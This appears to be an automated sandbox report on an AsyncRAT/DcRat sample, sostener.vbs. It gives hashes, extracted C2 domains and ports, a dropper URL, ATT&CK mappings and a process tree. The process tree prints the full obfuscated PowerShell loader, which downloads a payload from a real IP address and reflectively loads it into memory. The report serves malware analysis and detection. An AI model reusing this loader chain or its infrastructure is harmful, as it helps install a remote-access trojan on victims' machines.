asyncrat | 86ca81b6d7f0d020571ab9e3c586d9066bef48f82c3b4aa4abec0e0d86a48765

General

Target

sostener.vbs
Size

3.3MB
MD5

caa101219c251ee08a30546134d6c2b0
SHA1

23ada7a16f8151997e75fbc7e492ea74eaaf81dc
SHA256

86ca81b6d7f0d020571ab9e3c586d9066bef48f82c3b4aa4abec0e0d86a48765
SHA512

0a241d53ad5bfb3a5e75008968f2cb5d32bf08143e0c0fba29f5447f88cef78d56f822abf5f083413525856edb639e8b8601a8da895ae6d45929b7138c8033a8
SSDEEP

384:bfffftfffftfffftffff9fffftfffftfffftffff4fffftfffftfffftffff9ffH:tDn1C

Score

10^/10

asyncrat server defense_evasion discovery execution rat

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/AD/dll.txt

Extracted

Family

asyncrat

Version

1.0.7

Botnet

Server

C2

dcratwas.duckdns.org:35650

dcratwas.duckdns.org:5999

dcratwas.duckdns.org:46452

Mutex

DcRatMutex_qwqdanchun

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow	pid	Process
5	2864	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
4576	powershell.exe
2864	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4050598569-1597076380-177084960-1000\Control Panel\International\Geo\Nation	WScript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 2864 set thread context of 4820	2864	powershell.exe	92

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

AddInProcess32.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AddInProcess32.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

PING.EXE

pid	Process
5072	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

Processes:

PING.EXE

pid	Process
5072	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	Process
4576	powershell.exe
4576	powershell.exe
2864	powershell.exe
2864	powershell.exe
5088	powershell.exe
5088	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exeAddInProcess32.exe

description	pid	Process
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	2864	powershell.exe
Token: SeDebugPrivilege	5088	powershell.exe
Token: SeDebugPrivilege	4820	AddInProcess32.exe

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	Process	procid_target
PID 1212 wrote to memory of 4576	1212	WScript.exe	82
PID 1212 wrote to memory of 4576	1212	WScript.exe	82
PID 4576 wrote to memory of 2864	4576	powershell.exe	84
PID 4576 wrote to memory of 2864	4576	powershell.exe	84
PID 2864 wrote to memory of 4808	2864	powershell.exe	85
PID 2864 wrote to memory of 4808	2864	powershell.exe	85
PID 2864 wrote to memory of 5072	2864	powershell.exe	86
PID 2864 wrote to memory of 5072	2864	powershell.exe	86
PID 2864 wrote to memory of 5088	2864	powershell.exe	89
PID 2864 wrote to memory of 5088	2864	powershell.exe	89
PID 2864 wrote to memory of 4820	2864	powershell.exe	92
PID 2864 wrote to memory of 4820	2864	powershell.exe	92
PID 2864 wrote to memory of 4820	2864	powershell.exe	92
PID 2864 wrote to memory of 4820	2864	powershell.exe	92
PID 2864 wrote to memory of 4820	2864	powershell.exe	92
PID 2864 wrote to memory of 4820	2864	powershell.exe	92
PID 2864 wrote to memory of 4820	2864	powershell.exe	92
PID 2864 wrote to memory of 4820	2864	powershell.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT☹Hk☹cwB0☹GU☹bQ☹u☹E4☹ZQB0☹C4☹UwBl☹HI☹dgBp☹GM☹ZQBQ☹G8☹aQBu☹HQ☹TQBh☹G4☹YQBn☹GU☹cgBd☹Do☹OgBT☹GU☹YwB1☹HI☹aQB0☹Hk☹U☹By☹G8☹d☹Bv☹GM☹bwBs☹C☹☹PQ☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBO☹GU☹d☹☹u☹FM☹ZQBj☹HU☹cgBp☹HQ☹eQBQ☹HI☹bwB0☹G8☹YwBv☹Gw☹V☹B5☹H☹☹ZQBd☹Do☹OgBU☹Gw☹cw☹x☹DI☹Ow☹k☹EM☹QwBS☹Gg☹bQ☹g☹D0☹I☹☹n☹Gg☹d☹B0☹H☹☹Og☹v☹C8☹OQ☹x☹C4☹Mg☹w☹DI☹Lg☹y☹DM☹Mw☹u☹DE☹Ng☹5☹C8☹V☹Bh☹Gs☹LwBS☹GU☹Zw☹v☹E0☹YQBy☹Ho☹LwBE☹FI☹Rw☹v☹FI☹V☹BD☹C8☹QQBE☹C8☹Z☹Bs☹Gw☹LgB0☹Hg☹d☹☹n☹C☹☹Ow☹k☹EM☹WQBy☹Eo☹U☹☹g☹D0☹I☹☹o☹C☹☹WwBT☹Hk☹cwB0☹GU☹bQ☹u☹Ek☹Tw☹u☹F☹☹YQB0☹Gg☹XQ☹6☹Do☹RwBl☹HQ☹V☹Bl☹G0☹c☹BQ☹GE☹d☹Bo☹Cg☹KQ☹g☹Cs☹I☹☹n☹GQ☹b☹Bs☹D☹☹MQ☹u☹HQ☹e☹B0☹Cc☹I☹☹p☹C☹☹OwBJ☹G4☹dgBv☹Gs☹ZQ☹t☹Fc☹ZQBi☹FI☹ZQBx☹HU☹ZQBz☹HQ☹I☹☹t☹FU☹UgBJ☹C☹☹J☹BD☹EM☹UgBo☹G0☹I☹☹t☹E8☹dQB0☹EY☹aQBs☹GU☹I☹☹k☹EM☹WQBy☹Eo☹U☹☹g☹C0☹VQBz☹GU☹QgBh☹HM☹aQBj☹F☹☹YQBy☹HM☹aQBu☹Gc☹I☹☹7☹GM☹bQBk☹C4☹ZQB4☹GU☹I☹☹v☹GM☹I☹☹7☹H☹☹aQBu☹Gc☹I☹☹x☹DI☹Nw☹u☹D☹☹Lg☹w☹C4☹MQ☹g☹Ds☹I☹Bw☹G8☹dwBl☹HI☹cwBo☹GU☹b☹Bs☹C4☹ZQB4☹GU☹I☹☹t☹GM☹bwBt☹G0☹YQBu☹GQ☹I☹B7☹C☹☹J☹BD☹Fk☹cgBK☹F☹☹I☹☹9☹C☹☹K☹☹g☹Fs☹UwB5☹HM☹d☹Bl☹G0☹LgBJ☹E8☹LgBQ☹GE☹d☹Bo☹F0☹Og☹6☹Ec☹ZQB0☹FQ☹ZQBt☹H☹☹U☹Bh☹HQ☹a☹☹o☹Ck☹I☹☹r☹C☹☹JwBk☹Gw☹b☹☹w☹DE☹LgB0☹Hg☹d☹☹n☹C☹☹KQ☹g☹Ds☹J☹Bn☹Ec☹aQBt☹EE☹I☹☹9☹C☹☹K☹☹g☹Ec☹ZQB0☹C0☹QwBv☹G4☹d☹Bl☹G4☹d☹☹g☹C0☹U☹Bh☹HQ☹a☹☹g☹CQ☹QwBZ☹HI☹SgBQ☹C☹☹KQ☹g☹Ds☹I☹B9☹C☹☹Ow☹k☹Gw☹ZQBm☹GM☹cw☹g☹D0☹I☹☹n☹D☹☹Jw☹g☹Ds☹J☹B4☹HM☹aQBo☹Gw☹I☹☹9☹C☹☹Jw☹l☹Eo☹awBR☹GE☹cwBE☹GY☹ZwBy☹FQ☹Zw☹l☹Cc☹I☹☹7☹Fs☹QgB5☹HQ☹ZQBb☹F0☹XQ☹g☹CQ☹YgBj☹HI☹c☹B1☹C☹☹PQ☹g☹Fs☹cwB5☹HM☹d☹Bl☹G0☹LgBD☹G8☹bgB2☹GU☹cgB0☹F0☹Og☹6☹EY☹cgBv☹G0☹QgBh☹HM☹ZQ☹2☹DQ☹UwB0☹HI☹aQBu☹Gc☹K☹☹g☹Cg☹I☹BH☹GU☹d☹☹t☹EM☹bwBu☹HQ☹ZQBu☹HQ☹I☹☹t☹F☹☹YQB0☹Gg☹I☹☹k☹EM☹WQBy☹Eo☹U☹☹g☹Ck☹LgBy☹GU☹c☹Bs☹GE☹YwBl☹Cg☹Jw☹k☹CQ☹Jw☹s☹Cc☹QQ☹n☹Ck☹I☹☹p☹C☹☹OwBb☹FM☹eQBz☹HQ☹ZQBt☹C4☹QQBw☹H☹☹R☹Bv☹G0☹YQBp☹G4☹XQ☹6☹Do☹QwB1☹HI☹cgBl☹G4☹d☹BE☹G8☹bQBh☹Gk☹bg☹u☹Ew☹bwBh☹GQ☹K☹☹k☹GI☹YwBy☹H☹☹dQ☹p☹C4☹RwBl☹HQ☹V☹B5☹H☹☹ZQ☹o☹Cc☹V☹Bl☹Gg☹dQBs☹GM☹a☹Bl☹HM☹W☹B4☹Fg☹e☹B4☹C4☹QwBs☹GE☹cwBz☹DE☹Jw☹p☹C4☹RwBl☹HQ☹TQBl☹HQ☹a☹Bv☹GQ☹K☹☹n☹E0☹cwBx☹EI☹SQBi☹Fk☹Jw☹p☹C4☹SQBu☹HY☹bwBr☹GU☹K☹☹k☹G4☹dQBs☹Gw☹L☹☹g☹Fs☹bwBi☹Go☹ZQBj☹HQ☹WwBd☹F0☹I☹☹o☹C☹☹JwBk☹EE☹Qg☹0☹EE☹S☹BR☹EE☹T☹Bn☹EE☹MgBB☹EY☹TQBB☹FI☹QQBB☹HY☹QQBG☹E0☹QQBW☹Gc☹QgBP☹EE☹RQBV☹EE☹T☹B3☹EI☹NgBB☹Eg☹SQBB☹Fk☹UQBC☹E4☹QQBD☹Dg☹QQBa☹Hc☹QgBs☹EE☹RgBJ☹EE☹T☹B3☹EI☹cgBB☹Ec☹RQBB☹FY☹QQBB☹HY☹QQBE☹Gs☹QQBO☹Gc☹QQB4☹EE☹Qw☹0☹EE☹TQB3☹EE☹egBB☹EQ☹SQBB☹Ew☹ZwBB☹Hk☹QQBE☹EE☹QQBN☹Gc☹QQB1☹EE☹R☹BF☹EE☹TwBR☹EE☹dgBB☹EM☹O☹BB☹E8☹ZwBC☹Hc☹QQBI☹FE☹QQBk☹EE☹QgBv☹EE☹QQ☹9☹D0☹Jw☹g☹Cw☹I☹☹k☹Hg☹cwBp☹Gg☹b☹☹g☹Cw☹I☹☹n☹FI☹ZgBk☹EU☹d☹☹2☹Cc☹L☹☹g☹CQ☹b☹Bl☹GY☹YwBz☹Cw☹I☹☹n☹DE☹Jw☹s☹C☹☹JwBS☹G8☹Z☹Bh☹Cc☹I☹☹p☹Ck☹I☹☹7☹☹==';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('☹','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell $Yolopolhggobek;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'http://91.202.233.169/Tak/Reg/Marz/DRG/RTC/AD/dll.txt' ;$CYrJP = ( [System.IO.Path]::GetTempPath() + 'dll01.txt' ) ;Invoke-WebRequest -URI $CCRhm -OutFile $CYrJP -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ; powershell.exe -command { $CYrJP = ( [System.IO.Path]::GetTempPath() + 'dll01.txt' ) ;$gGimA = ( Get-Content -Path $CYrJP ) ; } ;$lefcs = '0' ;$xsihl = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs' ;[Byte[]] $bcrpu = [system.Convert]::FromBase64String( ( Get-Content -Path $CYrJP ).replace('$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($bcrpu).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ( 'dAB4AHQALgA2AFMARAAvAFMAVgBOAEUALwB6AHIAYQBNAC8AZwBlAFIALwBrAGEAVAAvADkANgAxAC4AMwAzADIALgAyADAAMgAuADEAOQAvAC8AOgBwAHQAdABoAA==' , $xsihl , 'RfdEt6', $lefcs, '1', 'Roda' )) ;"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2864
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c
      4⤵
      PID:4808
  - - C:\Windows\system32\PING.EXE
      "C:\Windows\system32\PING.EXE" 127.0.0.1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:5072
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand IAAkAEMAWQByAEoAUAAgAD0AIAAoACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAIAApACAAOwAkAGcARwBpAG0AQQAgAD0AIAAoACAARwBlAHQALQBDAG8AbgB0AGUAbgB0ACAALQBQAGEAdABoACAAJABDAFkAcgBKAFAAIAApACAAOwAgAA== -inputFormat xml -outputFormat text
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5088
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Credential Access

Discovery

Query Registry

1

T1012

Remote System Discovery

1

T1018

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f1224bc1865bebec82d960d863c971ae

SHA1
e80d412cdd86489fffb6a39d7bcde8c461fde367

SHA256
4ae68cf9056fd6e1448aa3b8b35f012ea2745a3a23c56308ba3b39c421eab905

SHA512
08f7fbc4ab81bc9b928ef57ec1027589c431325f6be1777fc6996ea77117da234b695b2cf8eb31f9a7cc246b05990562a21a8f149a01b9727ddd4ad23026c04c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cnkh2t22.tkk.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\dll01.txt

Filesize
104KB

MD5
4f4cc2baf7a98aa5c29c3b21e48725cf

SHA1
c25ebcb9b400d9fdab1655e5666e986731397840

SHA256
1fe40914bf08072551be2995fa32e2567b9b394d0dfdb18a9ea99cc9cf3af001

SHA512
c46a7282c617e78922f2dbd64bba2ba2161b54320ed04a81428f152d2dd64a001d15b7a18bc2eba56579d5000d345b13d06c8e140e278f14be36dfaa87da5c8c

Download Submit
memory/2864-37-0x000002DD799E0000-0x000002DD799F6000-memory.dmp

Filesize
88KB

Download
memory/2864-35-0x000002DD799D0000-0x000002DD799E6000-memory.dmp

Filesize
88KB

Download
memory/4576-36-0x00007FFD78113000-0x00007FFD78115000-memory.dmp

Filesize
8KB

Download
memory/4576-0-0x00007FFD78113000-0x00007FFD78115000-memory.dmp

Filesize
8KB

Download
memory/4576-12-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

Filesize
10.8MB

Download
memory/4576-11-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

Filesize
10.8MB

Download
memory/4576-1-0x000001F0E26C0000-0x000001F0E26E2000-memory.dmp

Filesize
136KB

Download
memory/4576-44-0x00007FFD78110000-0x00007FFD78BD1000-memory.dmp

Filesize
10.8MB

Download
memory/4820-38-0x0000000000400000-0x0000000000412000-memory.dmp

Filesize
72KB

Download
memory/4820-47-0x0000000005BA0000-0x0000000005C3C000-memory.dmp

Filesize
624KB

Download
memory/4820-48-0x00000000061F0000-0x0000000006794000-memory.dmp

Filesize
5.6MB

Download
memory/4820-49-0x0000000005CB0000-0x0000000005D16000-memory.dmp

Filesize
408KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads